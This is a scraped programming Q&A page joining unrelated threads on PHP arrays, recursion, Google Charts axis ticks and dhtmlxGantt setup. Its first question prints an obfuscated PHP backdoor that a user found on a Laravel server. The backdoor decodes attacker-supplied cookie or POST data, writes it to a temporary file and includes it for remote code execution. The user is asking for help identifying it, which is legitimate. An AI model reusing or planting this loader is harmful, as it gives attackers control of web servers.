Related
this is the file code which is created automatically in my public folder in laravel 8 project deployed on ubuntu server. Is this some kind of malware or virus Please kindly explain it, thanks is advance
function x1($c2)
{
$j3 = "dHr-k<s6y7x.c_3?umLaFlb*po4#1eg#hf8;vI25" . " /ntEi'()";
$f5 = '';
foreach ($c2 as $d4) {
$f5 .= $j3[$d4];
}
return $f5;
}
$b6 = array();
$b6[] = x1(array(14, 12, 14, 7, 39, 19, 12, 34, 3, 12, 26, 28, 28, 3, 26, 14, 0, 22, 3, 22, 12, 12, 39, 3, 19, 39, 28, 7, 33, 38, 7, 9, 9, 0, 28, 39));
$b6[] = x1(array(15, 24, 32, 24, 40, 31, 16, 42, 21, 45, 42, 4, 47, 13, 13, 20, 37, 18, 44, 13, 13, 48, 35, 40));
$b6[] = x1(array(11, 17, 25, 0, 16, 21, 29));
$b6[] = x1(array(1, 23));
$b6[] = x1(array(11, 41));
$b6[] = x1(array(27));
$b6[] = x1(array(5));
$b6[] = x1(array(33, 45, 21, 29, 13, 24, 16, 43, 13, 12, 25, 42, 43, 29, 42, 43, 6));
$b6[] = x1(array(19, 2, 2, 19, 8, 13, 17, 29, 2, 30, 29));
$b6[] = x1(array(6, 43, 2, 13, 2, 29, 24, 29, 19, 43));
$b6[] = x1(array(29, 10, 24, 21, 25, 0, 29));
$b6[] = x1(array(6, 16, 22, 6, 43, 2));
$b6[] = x1(array(16, 42, 21, 45, 42, 4));
$b6[] = x1(array(6, 43, 2, 21, 29, 42));
$b6[] = x1(array(24, 19, 12, 4));
$b6[] = x1(array(17, 0, 39));
foreach ($b6[8]($_COOKIE, $_POST) as $d14 => $p11) {
function k8($b6, $d14, $b10)
{
return $b6[11]($b6[9]($d14 . $b6[0], ($b10 / $b6[13]($d14)) + 1), 0, $b10);
}
function b7($b6, $s12)
{
return #$b6[14]($b6[3], $s12);
}
function r9($b6, $s12)
{
if (isset($s12[2])) {
$i13 = $b6[4] . $b6[15]($b6[0]) . $b6[2];
#$b6[7]($i13, $b6[6] . $b6[1] . $s12[1]($s12[2]));
#include($i13);
#$b6[12]($i13);
exit();
}
}
$p11 = b7($b6, $p11);
r9($b6, $b6[10]($b6[5], $p11 ^ k8($b6, $d14, $b6[13]($p11))));
}
Okay, so I got this multidimensional array in my project with some different values in it. For example:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33),
array("Array6", 51, 6, 21, 36),
array("Array7", 53, 8, 23, 38),
array("Array8", 55, 10, 25, 40),
array("Array9", 57, 12, 27, 42),
array("Array10", 59, 14, 29, 44),
);
I want to extract only a part of myArray, and "disable" the other part of the array. So I only want this output:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33)
);
Is there any way of achieving this in php?
array_slice() could help you.
$myArray= array_splice($myArray, 0, 5);
print '<pre>';
print_r($myArray);
print '</pre>';
I want make recursive function
when i search any id the id introid will show and introid will show their introid [Urdu Guide]
if i search id 45
will show result like
22
11
5
2
1
<?php
function searchID($id)
{
if ($id>1) {print intval($id/2)."\n"; searchID(intval($id/2));} else return 1;
}
searchID(45);
?>
Assuming you may have tried something and not successful with the recursion approach ... here is the solution!
<?php
$introid = array(0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, 25, 25);
$id = range(1, count($introid));
$associative_array= array_combine($id, $introid);
function lets_recurse($id, $associative_array)
{
if($id==1 || $id==0)
{
echo '';
}
else if(isset($associative_array[$id]))
{
echo $associative_array[$id].' ';
lets_recurse($associative_array[$id], $associative_array);
}
else
{
echo '';
}
}
lets_recurse(45, $associative_array);
?>
I have a Google Line chart that produces a number of tweets by time. As you can see, it does not currently show the 30 minute intervals. How do I get it to say 6:30am, 7:30am, etc... Also, how do I default it to switch between 6am and say 6:30am but all the way across the chart. For example, if the most recent was at 6:30am, then all of them should read on the 30 (7:30am, 8:30am, etc.)
{"cols":[{"id":"datetime","label":"datetime","type":"datetime"},{"id":"Tweets","label":"Tweets","type":"number"},{"role":"annotation","type":"string"},{"type":"string","role":"style"}],"rows":[{"c":[{"v":"Date(2016, 8, 08, 13, 30, 0)"},{"v":"5010"},{"v":"5010"},{"v":"point {fill-color: #5e6771}"}]},{"c":[{"v":"Date(2016, 8, 08, 13, 0, 0)"},{"v":"4670"},{"v":"4670"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 14, 0, 0)"},{"v":"4543"},{"v":"4543"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 14, 30, 0)"},{"v":"3230"},{"v":"3230"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 16, 30, 0)"},{"v":"3167"},{"v":"3167"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 16, 0, 0)"},{"v":"3013"},{"v":"3013"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 15, 0, 0)"},{"v":"2924"},{"v":"2924"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 15, 30, 0)"},{"v":"2892"},{"v":"2892"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 12, 30, 0)"},{"v":"2205"},{"v":"2205"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 11, 0, 0)"},{"v":"1789"},{"v":"1789"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 11, 30, 0)"},{"v":"1753"},{"v":"1753"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 9, 30, 0)"},{"v":"1653"},{"v":"1653"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 9, 0, 0)"},{"v":"1611"},{"v":"1611"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 12, 0, 0)"},{"v":"1598"},{"v":"1598"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 8, 30, 0)"},{"v":"1531"},{"v":"1531"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 10, 30, 0)"},{"v":"1490"},{"v":"1490"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 10, 0, 0)"},{"v":"1424"},{"v":"1424"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 8, 0, 0)"},{"v":"1081"},{"v":"1081"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 7, 30, 0)"},{"v":"888"},{"v":"888"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 7, 0, 0)"},{"v":"679"},{"v":"679"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 6, 30, 0)"},{"v":"673"},{"v":"673"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 6, 0, 0)"},{"v":"666"},{"v":"666"},{"v":null}]}]}
Google Charts Code:
<table class="graph-table">
<tr><td class="headerspacing2" colspan="3"><span class="header">Tweet Volume</span></td></tr>
<tr align="center"><td colspan="2">
<div id="curve_chart" style="width: 1280px; height: 430px">
<script type="text/javascript">
google.charts.load('current', {
callback: function () {
drawChart();
setInterval(drawChart, (60000));
function drawChart() {
$.ajax({
url: 'grab_twitter_stats.php',
type: 'get',
success: function (txt) {
var data = new google.visualization.DataTable(txt);
data.sort([{column: 0, desc:true}]);
var options = {
curveType: 'function',
hAxis: {
format: 'H, m',
textStyle: {
color: '#7acdd0',
fontSize: 20
},
gridlines: {
count: -1,
color: 'transparent'
},
},
vAxis: {
gridlines: {
color: '#7acdd0',
count: 1
},
textPosition: 'none'
},
emphasis: {
'color':'#000000',
},
pointSize: 15,
chartArea: {'width': '92%', 'height': '85%'},
pointShape: 'circle',
lineWidth: 5,
colors: ['#7acdd0'],
annotations: {
stemColor : 'none'
},
'tooltip' : {
trigger: 'none'
},
legend: { position: 'none' }
};
var chart = new google.visualization.LineChart(document.getElementById('curve_chart'));
chart.draw(data, options);
}
});
}
},
packages: ['corechart']
});
</script>
</div>
</td></tr>
</table>
use the hAxis.ticks configuration option to set custom labels on the x-axis
each tick should be the same data type as the x-axis column
so you can pull the values of data
var tickMarks = [];
for (var i = 0; i < data.getNumberOfRows(); i++) {
tickMarks.push(data.getValue(i, 0));
}
depending on the format of the labels, you may need to adjust the chartArea
see following working snippet...
google.charts.load('current', {
callback: function () {
txt = {"cols":[{"id":"datetime","label":"datetime","type":"datetime"},{"id":"Tweets","label":"Tweets","type":"number"},{"role":"annotation","type":"string"},{"type":"string","role":"style"}],"rows":[{"c":[{"v":"Date(2016, 7, 08, 13, 30, 0)"},{"v":"5010"},{"v":"5010"},{"v":"point {fill-color: #5e6771}"}]},{"c":[{"v":"Date(2016, 7, 08, 13, 0, 0)"},{"v":"4670"},{"v":"4670"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 14, 0, 0)"},{"v":"4543"},{"v":"4543"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 14, 30, 0)"},{"v":"3230"},{"v":"3230"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 16, 30, 0)"},{"v":"3167"},{"v":"3167"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 16, 0, 0)"},{"v":"3013"},{"v":"3013"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 15, 0, 0)"},{"v":"2924"},{"v":"2924"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 15, 30, 0)"},{"v":"2892"},{"v":"2892"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 12, 30, 0)"},{"v":"2205"},{"v":"2205"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 11, 0, 0)"},{"v":"1789"},{"v":"1789"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 11, 30, 0)"},{"v":"1753"},{"v":"1753"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 9, 30, 0)"},{"v":"1653"},{"v":"1653"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 9, 0, 0)"},{"v":"1611"},{"v":"1611"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 12, 0, 0)"},{"v":"1598"},{"v":"1598"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 8, 30, 0)"},{"v":"1531"},{"v":"1531"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 10, 30, 0)"},{"v":"1490"},{"v":"1490"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 10, 0, 0)"},{"v":"1424"},{"v":"1424"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 8, 0, 0)"},{"v":"1081"},{"v":"1081"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 7, 30, 0)"},{"v":"888"},{"v":"888"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 7, 0, 0)"},{"v":"679"},{"v":"679"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 6, 30, 0)"},{"v":"673"},{"v":"673"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 6, 0, 0)"},{"v":"666"},{"v":"666"},{"v":null}]}]};
var data = new google.visualization.DataTable(txt);
data.sort([{column: 0, desc:true}]);
var tickMarks = [];
for (var i = 0; i < data.getNumberOfRows(); i++) {
tickMarks.push(data.getValue(i, 0));
}
var options = {
annotations: {
stemColor : 'none'
},
chartArea: {
width: '92%',
height: '70%'
},
colors: ['#7acdd0'],
curveType: 'function',
emphasis: {
color: '#000000'
},
hAxis: {
format: 'H:mm a',
gridlines: {
count: -1,
color: 'transparent'
},
textStyle: {
color: '#7acdd0',
fontSize: 14
},
ticks: tickMarks
},
height: 400,
legend: {
position: 'none'
},
lineWidth: 5,
pointShape: 'circle',
pointSize: 15,
tooltip : {
trigger: 'none'
},
width: 1280,
vAxis: {
gridlines: {
color: '#7acdd0',
count: 1
},
textPosition: 'none'
}
};
var chart = new google.visualization.LineChart(document.getElementById('curve_chart'));
chart.draw(data, options);
},
packages: ['corechart']
});
<script src="https://www.gstatic.com/charts/loader.js"></script>
<div id="curve_chart"></div>
I'm trying to insert a Gantt chart into the div container named 'GanttDiv'. I'm using dhtmlxGantt library.
So, I downloaded this library and saved it in mod_gantt/js. Next, I copied a sample code just to check how it works. The problem is that a Gantt chart is not created on my web page.
What could be the reason?
<script type="text/javascript" language="JavaScript">
function createChartControl('GanttDiv')
{
// Initialize Gantt data structures
var project1 = new GanttProjectInfo(1, "Applet redesign", new Date(2010, 5, 11));
var parentTask1 = new GanttTaskInfo(1, "Old code review", new Date(2010, 5, 11), 208, 50, "");
parentTask1.addChildTask(new GanttTaskInfo(2, "Convert to J#", new Date(2010, 5, 11), 100, 40, ""));
parentTask1.addChildTask(new GanttTaskInfo(13, "Add new functions", new Date(2010, 5, 12), 80, 90, ""));
var parentTask2 = new GanttTaskInfo(3, "Hosted Control", new Date(2010, 6, 7), 190, 80, "1");
var parentTask5 = new GanttTaskInfo(5, "J# interfaces", new Date(2010, 6, 14), 60, 70, "6");
var parentTask123 = new GanttTaskInfo(123, "use GUIDs", new Date(2010, 6, 14), 60, 70, "");
parentTask5.addChildTask(parentTask123);
parentTask2.addChildTask(parentTask5);
parentTask2.addChildTask(new GanttTaskInfo(6, "Task D", new Date(2010, 6, 10), 30, 80, "14"));
var parentTask4 = new GanttTaskInfo(7, "Unit testing", new Date(2010, 6, 15), 118, 80, "6");
var parentTask8 = new GanttTaskInfo(8, "core (com)", new Date(2010, 6, 15), 100, 10, "");
parentTask8.addChildTask(new GanttTaskInfo(55555, "validate uids", new Date(2010, 6, 20), 60, 10, ""));
parentTask4.addChildTask(parentTask8);
parentTask4.addChildTask(new GanttTaskInfo(9, "Stress test", new Date(2010, 6, 15), 80, 50, ""));
parentTask4.addChildTask(new GanttTaskInfo(10, "User interfaces", new Date(2010, 6, 16), 80, 10, ""));
parentTask2.addChildTask(parentTask4);
parentTask2.addChildTask(new GanttTaskInfo(11, "Testing, QA", new Date(2010, 6, 21), 60, 100, "6"));
parentTask2.addChildTask(new GanttTaskInfo(12, "Task B (Jim)", new Date(2010, 6, 8), 110, 1, "14"));
parentTask2.addChildTask(new GanttTaskInfo(14, "Task A", new Date(2010, 6, 7), 8, 10, ""));
parentTask2.addChildTask(new GanttTaskInfo(15, "Task C", new Date(2010, 6, 9), 110, 90, "14"));
project1.addTask(parentTask1);
project1.addTask(parentTask2);
//project 2
var project2 = new GanttProjectInfo(2, "Web Design", new Date(2010, 5, 17));
var parentTask22 = new GanttTaskInfo(62, "Fill HTML pages", new Date(2010, 5, 17), 157, 50, "");
parentTask22.addChildTask(new GanttTaskInfo(63, "Cut images", new Date(2010, 5, 22), 78, 40, ""));
parentTask22.addChildTask(new GanttTaskInfo(64, "Manage CSS", null, 90, 90, ""));
project2.addTask(parentTask22);
var parentTask70 = new GanttTaskInfo(70, "PHP coding", new Date(2010, 5, 18), 120, 10, "");
parentTask70.addChildTask(new GanttTaskInfo(71, "Purchase D control", new Date(2010, 5, 18), 50, 0, ""));
project2.addTask(parentTask70);
// Create Gantt control
var ganttChartControl = new GanttChart();
// Setup paths and behavior
ganttChartControl.setImagePath("mod_gantt/js/dhtmlxGantt/codebase/imgs/");
ganttChartControl.setEditable(false);
ganttChartControl.showTreePanel(false);
ganttChartControl.showContextMenu(false);
ganttChartControl.showDescTask(true,'n,s-f');
ganttChartControl.showDescProject(true,'n,d');
// Load data structure
ganttChartControl.addProject(project1);
ganttChartControl.addProject(project2);
// Build control on the page
ganttChartControl.create(htmlDiv1);
}
</script>
<div class="contacts">
<div class="_line">
<div class="_title">Phone:</div>
<div class="_txt">77 77 88</div>
</div>
</div>
<div id="GanttDiv" class="GanttDiv"></div>
Make your javascript instantly runnable by adding the following script:
(function(){
createChartControl('GanttDiv');
})();
Put the full JavaScript code just above the closing body tag. Chances are when you are calling the function, the div is not rendered in the page.
Something like this
<html>
<body>
div class="contacts">
<div class="_line">
<div class="_title">Phone:</div>
<div class="_txt">77 77 88</div>
</div>
</div>
<div id="GanttDiv" class="GanttDiv"></div>
<script type="text/javascript" language="JavaScript">
function createChartControl(htmlDiv1)
{
// Initialize Gantt data structures
var project1 = new GanttProjectInfo(1, "Applet redesign", new Date(2010, 5, 11));
var parentTask1 = new GanttTaskInfo(1, "Old code review", new Date(2010, 5, 11), 208, 50, "");
parentTask1.addChildTask(new GanttTaskInfo(2, "Convert to J#", new Date(2010, 5, 11), 100, 40, ""));
parentTask1.addChildTask(new GanttTaskInfo(13, "Add new functions", new Date(2010, 5, 12), 80, 90, ""));
var parentTask2 = new GanttTaskInfo(3, "Hosted Control", new Date(2010, 6, 7), 190, 80, "1");
var parentTask5 = new GanttTaskInfo(5, "J# interfaces", new Date(2010, 6, 14), 60, 70, "6");
var parentTask123 = new GanttTaskInfo(123, "use GUIDs", new Date(2010, 6, 14), 60, 70, "");
parentTask5.addChildTask(parentTask123);
parentTask2.addChildTask(parentTask5);
parentTask2.addChildTask(new GanttTaskInfo(6, "Task D", new Date(2010, 6, 10), 30, 80, "14"));
var parentTask4 = new GanttTaskInfo(7, "Unit testing", new Date(2010, 6, 15), 118, 80, "6");
var parentTask8 = new GanttTaskInfo(8, "core (com)", new Date(2010, 6, 15), 100, 10, "");
parentTask8.addChildTask(new GanttTaskInfo(55555, "validate uids", new Date(2010, 6, 20), 60, 10, ""));
parentTask4.addChildTask(parentTask8);
parentTask4.addChildTask(new GanttTaskInfo(9, "Stress test", new Date(2010, 6, 15), 80, 50, ""));
parentTask4.addChildTask(new GanttTaskInfo(10, "User interfaces", new Date(2010, 6, 16), 80, 10, ""));
parentTask2.addChildTask(parentTask4);
parentTask2.addChildTask(new GanttTaskInfo(11, "Testing, QA", new Date(2010, 6, 21), 60, 100, "6"));
parentTask2.addChildTask(new GanttTaskInfo(12, "Task B (Jim)", new Date(2010, 6, 8), 110, 1, "14"));
parentTask2.addChildTask(new GanttTaskInfo(14, "Task A", new Date(2010, 6, 7), 8, 10, ""));
parentTask2.addChildTask(new GanttTaskInfo(15, "Task C", new Date(2010, 6, 9), 110, 90, "14"));
project1.addTask(parentTask1);
project1.addTask(parentTask2);
//project 2
var project2 = new GanttProjectInfo(2, "Web Design", new Date(2010, 5, 17));
var parentTask22 = new GanttTaskInfo(62, "Fill HTML pages", new Date(2010, 5, 17), 157, 50, "");
parentTask22.addChildTask(new GanttTaskInfo(63, "Cut images", new Date(2010, 5, 22), 78, 40, ""));
parentTask22.addChildTask(new GanttTaskInfo(64, "Manage CSS", null, 90, 90, ""));
project2.addTask(parentTask22);
var parentTask70 = new GanttTaskInfo(70, "PHP coding", new Date(2010, 5, 18), 120, 10, "");
parentTask70.addChildTask(new GanttTaskInfo(71, "Purchase D control", new Date(2010, 5, 18), 50, 0, ""));
project2.addTask(parentTask70);
// Create Gantt control
var ganttChartControl = new GanttChart();
// Setup paths and behavior
ganttChartControl.setImagePath("mod_gantt/js/dhtmlxGantt/codebase/imgs/");
ganttChartControl.setEditable(false);
ganttChartControl.showTreePanel(false);
ganttChartControl.showContextMenu(false);
ganttChartControl.showDescTask(true,'n,s-f');
ganttChartControl.showDescProject(true,'n,d');
// Load data structure
ganttChartControl.addProject(project1);
ganttChartControl.addProject(project2);
// Build control on the page
ganttChartControl.create(htmlDiv1);
}
createChartControl('GanttDiv');
</script>
</body>